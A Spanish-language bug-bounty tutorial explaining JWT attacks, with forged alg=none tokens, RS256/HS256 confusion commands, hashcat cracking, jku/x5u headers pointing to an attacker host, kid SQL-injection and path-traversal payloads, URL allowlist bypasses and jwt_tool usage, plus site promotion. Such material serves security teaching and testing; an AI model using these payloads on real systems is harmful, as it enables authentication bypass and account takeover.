Respuesta rápida
JWT (JSON Web Token) son strings firmados que contienen claims (user id, role, exp...). Si la firma se verifica mal o el algoritmo se acepta sin restricciones, el atacante puede forjar tokens. Las clases más explotadas: alg=none, RS256→HS256 confusion, secret crackable con hashcat, y manipulación de headers kid/jku/jwk cuando el servidor confía en valores controlados por el cliente.
Anatomía de un JWT
header.payload.signature
Cada parte es base64url. Ejemplo decodificado:
// Header
{ "alg": "HS256", "typ": "JWT" }
// Payload (claims)
{ "sub": "123", "user": "alice", "role": "user", "exp": 1735689600 }
Solo la firma garantiza integridad. Si el server no la verifica correctamente, el atacante modifica payload.role a admin y manda el token resultante.
Vulns clásicas
1. alg=none (CVE-2015-9235)
Cambiar el header a {"alg":"none"} y eliminar la firma:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Variantes que algunos backends aceptan: none, None, NONE, nOnE, NoNe. Probar todas.
2. RS256 → HS256 confusion (CVE-2016-5431)
El servidor usa RS256 (asimétrico). Si cambias alg a HS256 (simétrico) y firmas con la clave pública RSA usada como secret HMAC, algunos backends mal implementados verifican con la misma clave pública → bypass.
# Obtener clave pública del servidor
openssl s_client -connect target.tld:443 | openssl x509 -pubkey -noout > pubkey.pem
# Forge token con jwt_tool
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem
3. Secret crackable
JWTs HS256 con secrets débiles:
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Si crackeas el secret, firmas tokens arbitrarios. Triunfa en apps con secret = "secret", "jwt_secret", nombres del producto, etc.
4. Modificar payload sin invalidar firma
Si el servidor decodifica el payload pero no verifica la firma (mal implementado), simplemente cambia el payload y manda. Test rápido: modifica role a admin y un caracter aleatorio en la firma; ¿pasa?
5. Header injection (jwk, jku, x5u)
Headers que apuntan a la clave o URL de claves. Si el servidor los respeta sin allowlist:
// jwk: clave pública embebida
{ "alg": "RS256", "jwk": { "kty": "RSA", "n": "<tu_n>", "e": "AQAB" } }
// jku: URL de JWKS
{ "alg": "RS256", "jku": "https://attacker.tld/.well-known/jwks.json" }
// x5u: URL de certificado X.509
{ "alg": "RS256", "x5u": "https://attacker.tld/cert.pem" }
El atacante hostea el JWKS/cert con su clave pública y firma con su clave privada. Si el server confía → forge total.
kid header bypasses
kid (Key ID) suele identificar qué clave usar. Si se inyecta en SQL o filesystem:
kid + SQLi
{ "alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_CONTROLLED_SECRET' -- " }
Si el backend hace SELECT secret FROM keys WHERE id='<kid>', la inyección retorna un secret controlado. Firma el token con ese secret.
kid + Directory Traversal
{ "alg": "HS256", "kid": "../../../dev/null" }
Si el backend lee un archivo del filesystem como secret, leer /dev/null (vacío) → firma con string vacío. También probar archivos con contenido conocido.
JKU URL bypasses
Si el servidor valida el jku parcialmente (allowlist por contains/startsWith en lugar de URL parsing), probar:
https://target.tld/.well-known/jwks.json ← original
https://target.tld@attacker.tld/jwks.json
https://target.tld.attacker.tld/jwks.json
https://attacker.tld/target.tld/jwks.json
https://target.tld#attacker.tld/jwks.json
https://target.tld/.well-known/jwks.json?redirect=attacker.tld
Mismos bypasses que open redirect. Reusable casi 1:1.
Misc
Expiration abuse
exp: futuro lejano (3000-01-01) → ¿se valida server-side?
exp: removed → ¿el token nunca expira?
nbf: pasado → activo desde antes
Si el server no valida exp, el token es eterno aunque la app lo ponga.
Cross-Service Relay
Si múltiples microservicios comparten la misma clave de firma, un token emitido por servicio A vale en servicio B. Buscar:
- Microservicios que se autentican entre sí con JWT.
- Entornos de staging que usan la misma clave que prod.
- API internas que aceptan tokens del frontend público.
Sensitive data en payload
echo "<JWT_PAYLOAD_BASE64>" | base64 -d | jq .
Buscar: passwords, API keys, PII, IPs internas, roles ocultos, secrets. El payload NO está cifrado, solo codificado.
Tokens hardcoded en código
- Documentación API.
- JS bundle del frontend (search
eyJ, prefix de la mayoría de JWTs). - GitHub público (regex hunting).
- Swagger / OpenAPI specs con ejemplos.
Tooling
jwt_tool.py automatiza casi todo:
# All Tests mode (probar varios bypasses)
python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.tld/api/endpoint" -rh "Authorization: Bearer"
# Tamper mode (modificar claims interactively)
python3 jwt_tool.py <JWT_TOKEN> -T
# Specific exploit (none, kid, jku, etc)
python3 jwt_tool.py <JWT_TOKEN> -X <exploit>
Burp + extension JWT Editor para manipular tokens en cada request.
Checklist de hunting
- ¿El token se acepta con
alg=none(todas las variantes)? - ¿El secret HMAC se crackea con rockyou + best64?
- ¿RS256 → HS256 confusion funciona?
- ¿
jwk/jku/x5use aceptan apuntando a dominio externo? - ¿
kidse usa en query SQL o lectura de filesystem? - ¿El payload se puede modificar sin invalidar la firma?
- ¿
expse valida server-side, o solo se mira en cliente? - ¿Hay PII o secrets en el payload?
- ¿El token vale en otros servicios/entornos?
- ¿Hay tokens de ejemplo en docs/JS/GitHub?
Labs relacionados
Practica alg=none, secret cracking y header injection sobre JWTs reales: labs de JWT.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Jwt
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
Cookie flags — Secure, HttpOnly, SameSite y por qué importan
HttpOnly bloquea XSS-to-cookie, Secure obliga HTTPS, SameSite mata CSRF. Cómo se rompen y qué reportar cuando faltan en cookies sensibles.
0-click Account Takeover — OTP brute force + Email Normalization
Dos fallos por separado parecen menores. Juntos, te dan ATO completo conociendo solo el email. Bounty real: €560 y 12 minutos de explotación.
